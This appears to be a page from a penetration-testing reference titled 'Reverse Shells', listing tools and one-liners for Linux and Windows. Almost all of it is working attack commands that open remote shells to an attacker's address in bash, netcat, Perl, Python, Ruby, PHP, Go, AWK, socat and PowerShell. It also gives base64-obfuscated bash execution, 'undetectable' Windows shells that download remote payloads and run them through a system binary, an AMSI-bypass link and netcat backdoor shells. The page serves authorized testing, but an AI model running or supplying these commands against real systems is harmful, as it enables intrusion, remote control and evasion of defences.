Pentest Book
Search…
Reverse Shells

Tools

1
**Tools**
2
https://github.com/ShutdownRepo/shellerator
3
https://github.com/0x00-0x00/ShellPop
4
https://github.com/cybervaca/ShellReverse
5
https://liftoff.github.io/pyminifier/
6
https://github.com/xct/xc/
7
https://weibell.github.io/reverse-shell-generator/
8
https://github.com/phra/PEzor
Copied!

Linux

1
# Bash
2
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 172.21.0.0 1234 >/tmp/f
3
nc -e /bin/sh 10.11.1.111 4443
4
bash -i >& /dev/tcp/IP ADDRESS/8080 0>&1
5
6
# Bash B64 Ofuscated
7
{echo,COMMAND_BASE64}|{base64,-d}|bash 
8
echo${IFS}COMMAND_BASE64|base64${IFS}-d|bash
9
bash -c {echo,COMMAND_BASE64}|{base64,-d}|{bash,-i}
10
echo COMMAND_BASE64 | base64 -d | bash
11
12
# Perl
13
perl -e 'use Socket;$i="IP ADDRESS";$p=PORT;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
14
15
# Python
16
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IP ADDRESS",PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
17
python -c '__import__('os').system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.9 4433 >/tmp/f')-1\'
18
19
# Python IPv6
20
python -c 'import socket,subprocess,os,pty;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("dead:beef:2::125c",4343,0,2));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=pty.spawn("/bin/sh");'
21
22
# Ruby
23
ruby -rsocket -e'f=TCPSocket.open("IP ADDRESS",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
24
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
25
26
# PHP:
27
# /usr/share/webshells/php/php-reverse-shell.php
28
# http://pentestmonkey.net/tools/web-shells/php-reverse-shell
29
php -r '$sock=fsockopen("IP ADDRESS",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
30
$sock, 1=>$sock, 2=>$sock), $pipes);?>
31
32
# Golang
33
echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","IP ADDRESS:8080");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go
34
35
# AWK
36
awk 'BEGIN {s = "/inet/tcp/0/IP ADDRESS/4242"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null
37
38
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md
39
https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell
40
41
# Socat
42
socat TCP4:10.10.10.10:443 EXEC:/bin/bash
43
# Socat listener
44
socat -d -d TCP4-LISTEN:443 STDOUT
Copied!

Windows

1
# Netcat
2
nc -e cmd.exe 10.11.1.111 4443
3
4
# Powershell
5
$callback = New-Object System.Net.Sockets.TCPClient("IP ADDRESS",53);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$callback.Close()
6
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.10.14.11',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
7
8
# Undetectable:
9
# https://0xdarkvortex.dev/index.php/2018/09/04/malware-on-steroids-part-1-simple-cmd-reverse-shell/
10
i686-w64-mingw32-g++ prometheus.cpp -o prometheus.exe -lws2_32 -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc
11
12
# Undetectable 2:
13
# https://medium.com/@Bank_Security/undetectable-c-c-reverse-shells-fab4c0ec4f15
14
# 64bit:
15
powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/812060a13e57c815abe21ef04857b066/raw/81cd8d4b15925735ea32dff1ce5967ec42618edc/REV.txt', '.\REV.txt') }" && powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639/raw/4137019e70ab93c1f993ce16ecc7d7d07aa2463f/Rev.Shell', '.\Rev.Shell') }" && C:\Windows\Microsoft.Net\Framework64\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt Rev.Shell
16
# 32bit:
17
powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/812060a13e57c815abe21ef04857b066/raw/81cd8d4b15925735ea32dff1ce5967ec42618edc/REV.txt', '.\REV.txt') }" && powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639/raw/4137019e70ab93c1f993ce16ecc7d7d07aa2463f/Rev.Shell', '.\Rev.Shell') }" && C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt Rev.Shell
Copied!

Tips

1
# rlwrap
2
# https://linux.die.net/man/1/rlwrap
3
# Connect to a netcat client:
4
rlwrap nc [IP Address] [port]
5
# Connect to a netcat Listener:
6
rlwrap nc -lvp [Localport]
7
8
# Linux Backdoor Shells:
9
rlwrap nc [Your IP Address] -e /bin/sh
10
rlwrap nc [Your IP Address] -e /bin/bash
11
rlwrap nc [Your IP Address] -e /bin/zsh
12
rlwrap nc [Your IP Address] -e /bin/ash
13
14
# Windows Backdoor Shell:
15
rlwrap nc -lv [localport] -e cmd.exe
Copied!
Last modified 1yr ago
Export as PDF
Copy link